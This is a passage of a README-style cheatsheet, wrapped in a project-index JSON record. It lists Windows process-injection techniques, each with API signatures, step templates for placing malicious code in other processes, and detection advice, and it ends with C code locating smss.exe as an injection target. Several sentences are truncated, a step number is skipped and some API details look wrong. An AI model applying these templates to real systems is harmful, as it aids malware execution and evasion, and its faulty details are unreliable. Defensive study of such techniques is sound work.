`SetWindowsHookEx` to set a hook in the target process\n3. Trigger the hook by sending a message with `PostThreadMessage`\n\nDetection and Defense:\n- Monitor for suspicious usage of `SetWindowsHookEx`, especially with global hooks\n- Implement API hooking detection mechanisms\n- Use EDR solutions with capabilities to detect abnormal hook installations\n- Employ behavior-based detection to identify processes with unexpected loaded modules\n\n## 10. Extra Windows Memory Injection\n\nThis technique injects code into a process by using the Extra Windows Memory (EWM), which is appended to the instance of a class during window class registration. less common and might be detected by some security solutions.\n\nKey APIs:\n- [`FindWindowA`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-findwindowa)\n  ```c\n  HWND FindWindowA(\n    LPCSTR lpClassName,\n    LPCSTR lpWindowName\n  );\n  ```\n- [`GetWindowThreadProcessId`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowthreadprocessid)\n  ```c\n  DWORD GetWindowThreadProcessId(\n    HWND    hWnd,\n    LPDWORD lpdwProcessId\n  );\n  ```\n- `OpenProcess` (see above)\n- `VirtualAllocEx` (see above)\n- `WriteProcessMemory` (see above)\n- [`SetWindowLongPtrA`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowlongptra)\n  ```c\n  LONG_PTR SetWindowLongPtrA(\n    HWND     hWnd,\n    int      nIndex,\n    LONG_PTR dwNewLong\n  );\n  ```\n- [`SendNotifyMessage`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendnotifymessagea)\n  ```c\n  BOOL SendNotifyMessageA(\n    HWND   hWnd,\n    UINT   Msg,\n    WPARAM wParam,\n    LPARAM lParam\n  );\n  ```\n\nTemplate:\n1. Find the target window with `FindWindowA`\n2. Get the process ID of the window with `GetWindowThreadProcessId`\n3. Open the process with `OpenProcess`\n4. Allocate memory in the target process with `VirtualAllocEx`\n5. Write the malicious code to the allocated memory with `WriteProcessMemory`\n6. Use `SetWindowLongPtrA` to modify the window's extra memory\n7. Trigger the execution with `SendNotifyMessage`\n\nDetection and Defense:\n- Monitor for suspicious modifications to window properties\n- Implement integrity checks for window class data\n- Use EDR solutions with capabilities to detect EWM manipulation\n- Employ behavior-based detection to identify processes with unexpected changes in window properties\n\n## 11. Propagate Injection\n\nThis technique is used to inject malicious code into processes with medium integrity level, such as explorer.exe. It works by enumerating windows and subclassing them. can be particularly effective for privilege escalation.\n\nKey APIs:\n- [`EnumWindows`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows)\n  ```c\n  BOOL EnumWindows(\n    WNDENUMPROC lpEnumFunc,\n    LPARAM      lParam\n  );\n  ```\n- [`EnumChildWindows`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumchildwindows)\n  ```c\n  BOOL EnumChildWindows(\n    HWND        hWndParent,\n    WNDENUMPROC lpEnumFunc,\n    LPARAM      lParam\n  );\n  ```\n- [`EnumProps`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumpropa)\n  ```c\n  int EnumPropsA(\n    HWND      hWnd,\n    PROPENUMPROCA lpEnumFunc\n  );\n  ```\n- [`GetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getpropa)\n  ```c\n  HANDLE GetPropA(\n    HWND    hWnd,\n    LPCSTR lpString\n  );\n  ```\n- [`SetWindowSubclass`](https://docs.microsoft.com/en-us/windows/win32/api/commctrl/nf-commctrl-setwindowsubclass)\n  ```c\n  BOOL SetWindowSubclass(\n    HWND              hWnd,\n    SUBCLASSPROC      pfnSubclass,\n    UINT_PTR          uIdSubclass,\n    DWORD_PTR         dwRefData\n  );\n  ```\n- `FindWindow` (see above)\n- `FindWindowEx` (see above)\n- `GetWindowThreadProcessId` (see above)\n- `OpenProcess` (see above)\n- `ReadProcessMemory` (see above)\n- `VirtualAllocEx` (see above)\n- `WriteProcessMemory` (see above)\n- [`SetPropA`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setpropa)\n  ```c\n  BOOL SetPropA(\n    HWND    hWnd,\n    LPCSTR  lpString,\n    HANDLE  hData\n  );\n  ```\n- [`PostMessage`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-postmessagea)\n  ```c\n  BOOL PostMessageA(\n    HWND   hWnd,\n    UINT   Msg,\n    WPARAM wParam,\n    LPARAM lParam\n  );\n  ```\n\nTemplate:\n1. Enumerate windows using `EnumWindows` and `EnumChildWindows`\n2. For each window, check for subclassed windows using `EnumProps` and `GetProp`\n3. Open the target process with `OpenProcess`\n4. Allocate memory in the target process with `VirtualAllocEx`\n5. Write the malicious code to the allocated memory with `WriteProcessMemory`\n6. Subclass the window using `SetWindowSubclass`\n7. Set a new property with `SetPropA` to store the payload\n8. Trigger execution by sending a message with `PostMessage`\n\nDetection and Defense:\n- Monitor for suspicious patterns of window enumeration and subclassing\n- Implement integrity checks for window subclassing\n- Use EDR solutions with capabilities to detect propagate injection techniques\n- Employ behavior-based detection to identify processes with unexpected changes in window subclassing\n\n## 12. Heap Spray\n\nWhile not strictly an injection technique, heap spraying is often used in conjunction with other injection methods to facilitate exploit payload delivery. modern browsers and operating systems have implemented mitigations against this.\n\nKey APIs:\n- [`HeapAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc)\n  ```c\n  LPVOID HeapAlloc(\n    HANDLE hHeap,\n    DWORD  dwFlags,\n    SIZE_T dwBytes\n  );\n  ```\n- [`VirtualAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)\n  ```c\n  LPVOID VirtualAlloc(\n    LPVOID lpAddress,\n    SIZE_T dwSize,\n    DWORD  flAllocationType,\n    DWORD  flProtect\n  );\n  ```\n\nTemplate:\n1. Allocate multiple memory blocks using `HeapAlloc` or `VirtualAlloc`\n2. Fill these blocks with a combination of NOP sleds and the payload\n3. Repeat this process to cover a large portion of the process's address space\n\nDetection and Defense:\n- Implement memory allocation monitoring to detect suspicious patterns\n- Use address space layout randomization (ASLR) to mitigate heap spraying attacks\n- Employ EDR solutions with capabilities to detect heap spraying techniques\n- Implement browser-specific mitigations, such as randomizing heap allocation\n\n## 13. Thread Execution Hijacking\n\nThis technique involves suspending a legitimate thread in a target process, modifying its execution context to point to malicious code, and then resuming the thread. saving and restoring the original thread context required to maintain process stability.\n\nKey APIs:\n- `OpenThread` (see above)\n- `SuspendThread` (see above)\n- `GetThreadContext` (see above)\n- `SetThreadContext` (see above)\n- `VirtualAllocEx` (see above)\n- `WriteProcessMemory` (see above)\n- `ResumeThread` (see above)\n\nTemplate:\n1. Open the target thread with `OpenThread`\n2. Suspend the thread with `SuspendThread`\n3. Get the thread context with `GetThreadContext`\n4. Allocate memory in the target process with `VirtualAllocEx`\n5. Write the malicious code to the allocated memory with `WriteProcessMemory`\n6. Modify the thread context to point to the injected code with `SetThreadContext`\n7. Resume the thread with `ResumeThread`\n\nDetection and Defense:\n- Monitor for suspicious patterns of thread suspension and resumption\n- Implement thread execution monitoring to detect unexpected changes in execution flow\n- Use EDR solutions with capabilities to detect thread hijacking techniques\n- Employ runtime analysis to identify unusual thread behavior\n\n## 14. Module Stomping\n\nThis technique overwrites the memory of a legitimate module in the target process with malicious code, potentially bypassing some security checks. detected by integrity checks on loaded modules.\n\nKey APIs:\n- [`GetModuleInformation`](https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getmoduleinformation)\n  ```c\n  BOOL GetModuleInformation(\n    HANDLE       hProcess,\n    HMODULE      hModule,\n    LPMODULEINFO lpmodinfo,\n    DWORD        cb\n  );\n  ```\n- [`VirtualProtectEx`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex)\n  ```c\n  BOOL VirtualProtectEx(\n    HANDLE hProcess,\n    LPVOID lpAddress,\n    SIZE_T dwSize,\n    DWORD  flNewProtect,\n    PDWORD lpflOldProtect\n  );\n  ```\n- `WriteProcessMemory` (see above)\n\nTemplate:\n1. Open the target process with `OpenProcess`\n2. Get information about the target module using `GetModuleInformation`\n3. Change the memory protection of the module to writable using `VirtualProtectEx`\n4. Overwrite the module's code section with malicious code using `WriteProcessMemory`\n5. Restore the original memory protection with `VirtualProtectEx`\n\nDetection and Defense:\n- Implement module integrity checks to detect modifications to loaded modules\n- Use EDR solutions with capabilities to detect module stomping techniques\n- Employ memory forensics tools to identify signs of module stomping\n- Implement code signing and verification mechanisms for loaded modules\n\n## 15. IAT Hooking\n\nThis technique modifies the Import Address Table (IAT) of a process to redirect function calls to malicious code. detected by comparing the IAT entries with the actual function addresses in the target DLLs.\n\nKey APIs:\n- [`GetProcAddress`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)\n  ```c\n  FARPROC GetProcAddress(\n    HMODULE hModule,\n    LPCSTR  lpProcName\n  );\n  ```\n- [`VirtualProtect`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)\n  ```c\n  BOOL VirtualProtect(\n    LPVOID lpAddress,\n    SIZE_T dwSize,\n    DWORD  flNewProtect,\n    PDWORD lpflOldProtect\n  );\n  ```\n\nTemplate:\n1. Locate the IAT of the target process\n2. Identify the function to be hooked\n3. Change the memory protection of the IAT to writable using `VirtualProtect`\n4. Replace the original function address with the address of the malicious function\n- Calculate the address of the IAT entry for the target function\n- Read the original function address from the IAT entry\n- Replace the original function address with the address of the malicious function\n5. Restore the original memory protection\n\nDetection and Defense:\n- Implement IAT integrity checks to detect modifications\n- Use EDR solutions with capabilities to detect IAT hooking\n- Employ runtime analysis to identify unexpected function redirections\n- Implement code signing and verification mechanisms for loaded modules\n\n## 16. Inline Hooking\n\nThis technique modifies the first few instructions of a function to redirect execution to malicious code. requires careful handling of multi-byte instructions and relative jumps. \n\nKey APIs:\n- `VirtualProtect` (see above)\n- [`memcpy`](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy)\n  ```c\n  void *memcpy(\n    void *dest,\n    const void *src,\n    size_t count\n  );\n  ```\n\nTemplate:\n1. Locate the target function in memory\n2. Change the memory protection to writable using `VirtualProtect`\n3. Save the original instructions (usually 5 or more bytes)\n4. Overwrite the beginning of the function with a jump to the malicious code\n5. In the malicious code, execute the saved original instructions and then jump back to the original function\n\nDetection and Defense:\n- Implement function integrity checks to detect modifications to function prologues\n- Use EDR solutions with capabilities to detect inline hooking\n- Employ runtime analysis to identify unexpected changes in function execution flow\n- Implement code signing and verification mechanisms for loaded modules\n\n## 17. Debugger Injection\n\nThis technique uses debugging APIs to inject code into a target process. can be detected by anti-debugging checks in the target process.\n\nKey APIs:\n- [`DebugActiveProcess`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-debugactiveprocess)\n  ```c\n  BOOL DebugActiveProcess(\n    DWORD dwProcessId\n  );\n  ```\n- [`WaitForDebugEvent`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-waitfordebugevent)\n  ```c\n  BOOL WaitForDebugEvent(\n    LPDEBUG_EVENT lpDebugEvent,\n    DWORD         dwMilliseconds\n  );\n  ```\n- [`ContinueDebugEvent`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-continuedebugevent)\n  ```c\n  BOOL ContinueDebugEvent(\n    DWORD dwProcessId,\n    DWORD dwThreadId,\n    DWORD dwContinueStatus\n  );\n  ```\n\nTemplate:\n1. Attach to the target process as a debugger using `DebugActiveProcess`\n2. Wait for debug events with `WaitForDebugEvent`\n3. When a suitable event occurs, inject the malicious code using `WriteProcessMemory`\n4. Modify the thread context to execute the injected code\n5. Continue the debug event with `ContinueDebugEvent`\n\nDetection and Defense:\n- Implement anti-debugging techniques in sensitive applications\n- Monitor for suspicious use of debugging APIs\n- Use EDR solutions with capabilities to detect debugger-based injection\n- Employ runtime analysis to identify unexpected debugging events\n\n## 18. COM Hijacking\n\nThis technique involves replacing legitimate COM objects with malicious ones to execute code when the COM object is instantiated. used for persistence, not just for injection.\n\nKey APIs:\n- [`CoCreateInstance`](https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance)\n  ```c\n  HRESULT CoCreateInstance(\n    REFCLSID rclsid,\n    LPUNKNOWN pUnkOuter,\n    DWORD dwClsContext,\n    REFIID riid,\n    LPVOID *ppv\n  );\n  ```\n- [`RegOverridePredefKey`](https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regoverridepredefkey)\n  ```c\n  LSTATUS RegOverridePredefKey(\n    HKEY hKey,\n    HKEY hNewHKey\n  );\n  ```\n\nTemplate:\n1. Create a malicious COM object\n2. Modify the registry to replace the CLSID of a legitimate COM object with the malicious one\n3. When the application calls `CoCreateInstance`, the malicious object will be instantiated instead\n\nDetection and Defense:\n- Implement COM object integrity checks\n- Monitor for suspicious registry modifications related to COM objects\n- Use application whitelisting to prevent unauthorized COM objects from loading\n- Employ behavior-based detection to identify unexpected COM object instantiation\n\n## 19. Phantom DLL Hollowing\n\nThis technique involves creating a new section in a legitimate DLL and injecting code into it.\n\nKey APIs:\n- [`LoadLibraryEx`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa)\n  ```c\n  HMODULE LoadLibraryExA(\n    LPCSTR lpLibFileName,\n    HANDLE hFile,\n    DWORD  dwFlags\n  );\n  ```\n- [`VirtualAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)\n  ```c\n  LPVOID VirtualAlloc(\n    LPVOID lpAddress,\n    SIZE_T dwSize,\n    DWORD  flAllocationType,\n    DWORD  flProtect\n  );\n  ```\n- [`VirtualProtect`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)\n  ```c\n  BOOL VirtualProtect(\n    LPVOID lpAddress,\n    SIZE_T dwSize,\n    DWORD  flNewProtect,\n    PDWORD lpflOldProtect\n  );\n  ```\n\nTemplate:\n1. Load a legitimate DLL using `LoadLibraryEx` with `DONT_RESOLVE_DLL_REFERENCES` flag\n2. Allocate a new memory section using `VirtualAlloc`\n3. Copy the malicious code to the new section\n4. Modify the DLL's PE headers to include the new section\n5. Change the memory protection of the new section using `VirtualProtect`\n6. Execute the injected code\n\nDetection and Defense:\n- Implement DLL integrity checks to detect modifications\n- Monitor for suspicious patterns of DLL loading and memory allocation\n- Use EDR solutions with capabilities to detect phantom DLL hollowing\n- Employ memory forensics tools to identify signs of DLL manipulation\n\n## 20. PROPagate\n\nThis technique abuses the SetProp/GetProp Windows API functions to achieve code execution.\n\nKey APIs:\n- [`SetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setpropa)\n  ```c\n  BOOL SetPropA(\n    HWND   hWnd,\n    LPCSTR lpString,\n    HANDLE hData\n  );\n  ```\n- [`GetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getpropa)\n  ```c\n  HANDLE GetPropA(\n    HWND   hWnd,\n    LPCSTR lpString\n  );\n  ```\n- [`EnumPropsEx`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumpropsexw)\n  ```c\n  int EnumPropsExW(\n    HWND          hWnd,\n    PROPENUMPROCEXW lpEnumFunc,\n    LPARAM        lParam\n  );\n  ```\n\nTemplate:\n1. Find a target window using `FindWindow` or `EnumWindows`\n2. Allocate memory for the payload using `VirtualAllocEx`\n3. Write the payload to the allocated memory using `WriteProcessMemory`\n4. Use `SetProp` to set a property on the window, with the payload address as the property value\n- Create a custom window procedure that executes the payload\n- Use `SetWindowLongPtr` to replace the original window procedure with the custom one\n6. Trigger the execution by causing the window to enumerate its properties (e.g., by sending a message that causes a redraw)\n\nDetection and Defense:\n- Monitor for suspicious modifications to window properties\n- Implement integrity checks for window properties\n- Use EDR solutions with capabilities to detect PROPagate techniques\n- Employ behavior-based detection to identify processes with unexpected changes in window properties\n\n## 21. Early Bird Injection\n\nThis technique injects code into a process during its initialization, before the main thread starts executing.\n\nKey APIs:\n- [`CreateProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)\n  ```c\n  BOOL CreateProcessA(\n    LPCSTR                lpApplicationName,\n    LPSTR                 lpCommandLine,\n    LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    BOOL                  bInheritHandles,\n    DWORD                 dwCreationFlags,\n    LPVOID                lpEnvironment,\n    LPCSTR                lpCurrentDirectory,\n    LPSTARTUPINFOA        lpStartupInfo,\n    LPPROCESS_INFORMATION lpProcessInformation\n  );\n  ```\n- `VirtualAllocEx` (see above)\n- `WriteProcessMemory` (see above)\n- `QueueUserAPC` (see above)\n- `ResumeThread` (see above)\n\nTemplate:\n1. Create a new process in suspended state using `CreateProcess` with `CREATE_SUSPENDED` flag\n2. Allocate memory in the new process using `VirtualAllocEx`\n3. Write the payload to the allocated memory using `WriteProcessMemory`\n4. Queue an APC to the main thread using `QueueUserAPC`, pointing to the payload\n5. Resume the main thread using `ResumeThread`\n\nDetection and Defense:\n- Monitor for process creation with the `CREATE_SUSPENDED` flag\n- Implement process initialization monitoring to detect unexpected code execution\n- Use EDR solutions with capabilities to detect Early Bird injection techniques\n- Employ behavior-based detection to identify processes with abnormal initialization patterns\n\n## 22. Shim-based Injection\n\nThis technique leverages the Windows Application Compatibility framework to inject code.\n\nKey APIs:\n- [`SdbCreateDatabase`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbcreatedatabase)\n  ```c\n  PDB SdbCreateDatabase(\n    LPCWSTR pwszPath\n  );\n  ```\n- [`SdbWriteDWORDTag`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbwritedwordtag)\n  ```c\n  BOOL SdbWriteDWORDTag(\n    PDB  pdb,\n    TAG  tTag,\n    DWORD dwData\n  );\n  ```\n- [`SdbEndWriteListTag`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbendwritelisttag)\n  ```c\n  BOOL SdbEndWriteListTag(\n    PDB pdb,\n    TAG tTag\n  );\n  ```\n\nTemplate:\n1. Create a shim database using `SdbCreateDatabase`\n2. Write shim data to the database, including the payload and target application\n3. Install the shim database using `sdbinst.exe`\n4. The payload will be executed when the target application is launched\n\nDetection and Defense:\n- Monitor for suspicious shim database creation and installation\n- Implement application compatibility shim monitoring\n- Use EDR solutions with capabilities to detect shim-based injection techniques\n- Employ whitelisting for approved shims and block unauthorized shim installations\n\n## 23. Mapping Injection\n\nThis technique uses memory-mapped files to inject code into a remote process.\n\nKey APIs:\n- [`CreateFileMapping`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga)\n  ```c\n  HANDLE CreateFileMappingA(\n    HANDLE                hFile,\n    LPSECURITY_ATTRIBUTES lpFileMappingAttributes,\n    DWORD                 flProtect,\n    DWORD                 dwMaximumSizeHigh,\n    DWORD                 dwMaximumSizeLow,\n    LPCSTR                lpName\n  );\n  ```\n- [`MapViewOfFile`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)\n  ```c\n  LPVOID MapViewOfFile(\n    HANDLE hFileMappingObject,\n    DWORD  dwDesiredAccess,\n    DWORD  dwFileOffsetHigh,\n    DWORD  dwFileOffsetLow,\n    SIZE_T dwNumberOfBytesToMap\n  );\n  ```\n- `NtMapViewOfSection` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtMapViewOfSection(\n    HANDLE          SectionHandle,\n    HANDLE          ProcessHandle,\n    PVOID           *BaseAddress,\n    ULONG_PTR       ZeroBits,\n    SIZE_T          CommitSize,\n    PLARGE_INTEGER  SectionOffset,\n    PSIZE_T         ViewSize,\n    SECTION_INHERIT InheritDisposition,\n    ULONG           AllocationType,\n    ULONG           Win32Protect\n  );\n  ```\n\nTemplate:\n1. Create a file mapping object using `CreateFileMapping`\n2. Map a view of the file into the current process using `MapViewOfFile`\n3. Write the payload to the mapped view\n4. Use `NtMapViewOfSection` to map the view into the target process\n5. Execute the payload in the target process\n\nDetection and Defense:\n- Monitor for suspicious patterns of file mapping and view creation\n- Implement memory mapping monitoring to detect unexpected shared memory usage\n- Use EDR solutions with capabilities to detect mapping injection techniques\n- Employ behavior-based detection to identify processes with abnormal memory-mapped file usage\n\n## 24. KnownDlls Cache Poisoning\n\nThis technique involves replacing a legitimate DLL in the KnownDlls cache with a malicious one.\n\nKey APIs:\n- [`NtSetSystemInformation`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntsetsysteminformation) (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtSetSystemInformation(\n    SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    PVOID                    SystemInformation,\n    ULONG                    SystemInformationLength\n  );\n  ```\n\nTemplate:\n1. Create a malicious DLL with the same name as a legitimate KnownDlls entry\n2. Create a Section object for the malicious DLL:\n\t- Use NtCreateSection to create a section object\n\t- Map a view of the section into memory\n\t- Write the malicious DLL content to the mapped view\n3. Use `NtSetSystemInformation` with `SystemExtendServiceTableInformation` to add the malicious DLL to the KnownDlls cache\n4. The malicious DLL will be loaded instead of the legitimate one by processes\n\nDetection and Defense:\n- Implement KnownDlls integrity checks\n- Monitor for modifications to the KnownDlls cache\n- Use EDR solutions with capabilities to detect KnownDlls cache poisoning\n- Employ whitelisting and code signing verification for DLLs in the KnownDlls cache\n\n## Additional Considerations for Detection and Defense\n\n1. Implement a robust Application Whitelisting strategy to prevent unauthorized executables and DLLs from running.\n2. Use Windows Defender Exploit Guard or similar technologies to enable Attack Surface Reduction (ASR) rules.\n3. Keep systems and software up-to-date with the latest security patches.\n4. Utilize User Account Control (UAC) and principle of least privilege to limit the impact of successful injections.\n5. Implement Network Segmentation to limit lateral movement in case of a successful attack.\n6. Use Runtime Application Self-Protection (RASP) technologies to detect and prevent injection attempts in real-time.\n7. Regularly perform threat hunting activities to proactively search for signs of injection techniques.\n8. Implement and maintain a robust Security Information and Event Management (SIEM) system to correlate and analyze security events.\n9. Conduct regular security awareness training for users to recognize and report suspicious activities.\n10. Perform regular penetration testing and red team exercises to identify vulnerabilities and improve defenses against injection techniques.\n\n## Process Enumeration\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cWindows.h\u003e\n#include \u003ctlhelp32.h\u003e\n#include \u003cerrhandlingapi.h\u003e // GetLastError\n#include \u003cheapapi.h\u003e // HeapCreate, HeapAlloc, HeapDestroy\n#include \u003cstrsafe.h\u003e // StringCchPrintf\n#include \u003cassert.h\u003e\n#include \u003ctchar.h\u003e\n\nvoid ErrorExit(LPCTSTR lpszFunction);\nint ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe);\nint PrintProcessInfo(const PROCESSENTRY32* lppe);\n\nint PrintProcessInfo(const PROCESSENTRY32* lppe)\n{\n    assert(lppe);\n\n    wprintf(L\"PROCESS : %ls\\n\", lppe-\u003eszExeFile);\n\n    int PID = static_cast\u003cint\u003e(lppe-\u003eth32ProcessID);\n    if (PID == 0) {\n        wprintf(L\"ERR : Process Not Found.\\n\");\n        return 0;\n    }\n\n    wprintf(L\"PID : %i\\n\\n\", PID);\n    return 1;\n}\n\nvoid ErrorExit(LPCTSTR functionName)\n{\n    constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS;\n    constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT);\n    constexpr size_t EXTRA_CHARS = 40;\n\n    DWORD errorCode = GetLastError();\n    LPTSTR messageBuf = nullptr;\n\n    FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)\u0026messageBuf, 0, NULL);\n\n    if (messageBuf) {\n        size_t funcNameLen = _tcslen(functionName);\n        size_t messageLen = _tcslen(messageBuf);\n        size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR);\n\n        LPTSTR displayBuf = static_cast\u003cLPTSTR\u003e(LocalAlloc(LMEM_ZEROINIT, bufSize));\n        if (displayBuf) {\n            StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT(\"%s failed with error %d: %s\"), functionName, errorCode, messageBuf);\n            MessageBox(NULL, displayBuf, TEXT(\"Error\"), MB_OK);\n\n            LocalFree(displayBuf);\n        }\n\n        LocalFree(messageBuf);\n    }\n\n    ExitProcess(errorCode);\n}\n\nint ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe)\n{\n    assert(ProcessName \u0026\u0026 lppe);\n\n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (hSnapshot == INVALID_HANDLE_VALUE)\n        ErrorExit(TEXT(\"CreateToolhelp32Snapshot\"));\n\n    lppe-\u003edwSize = sizeof(PROCESSENTRY32);\n\n    if (Process32First(hSnapshot, lppe) == FALSE) {\n        CloseHandle(hSnapshot);\n        ErrorExit(TEXT(\"Process32First\"));\n    }\n\n    int pFoundFlag = 0;\n    do {\n        size_t wcProcessName = wcslen(ProcessName);\n        if (wcsncmp(lppe-\u003eszExeFile, ProcessName, wcProcessName) == 0) {\n            if (!PrintProcessInfo(lppe)) continue;\n            pFoundFlag = 1;\n            break;\n        }\n    } while (Process32Next(hSnapshot, lppe));\n\n    CloseHandle(hSnapshot);\n\n    return pFoundFlag;\n}\n\nint main(int argc, char** argv)\n{\n    wchar_t pName[] = L\"smss.exe\"; // process name we will be injecting\n    PROCESSENTRY32 lppe = { 0 };\n\n    if (ProcessEnumerateAndSearch(pName, \u0026lppe)) {\n        // do some stuff\n    }\n    else {\n        return 1;\n    }\n\n    return 0;\n}\n```\n","funding_links":["https://github.com/sponsors/snowcra5h"],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F7etsuo%2Fwindows-api-function-cheatsheets","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F7etsuo%2Fwindows-api-function-cheatsheets","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F7etsuo%2Fwindows-api-function-cheatsheets/lists"}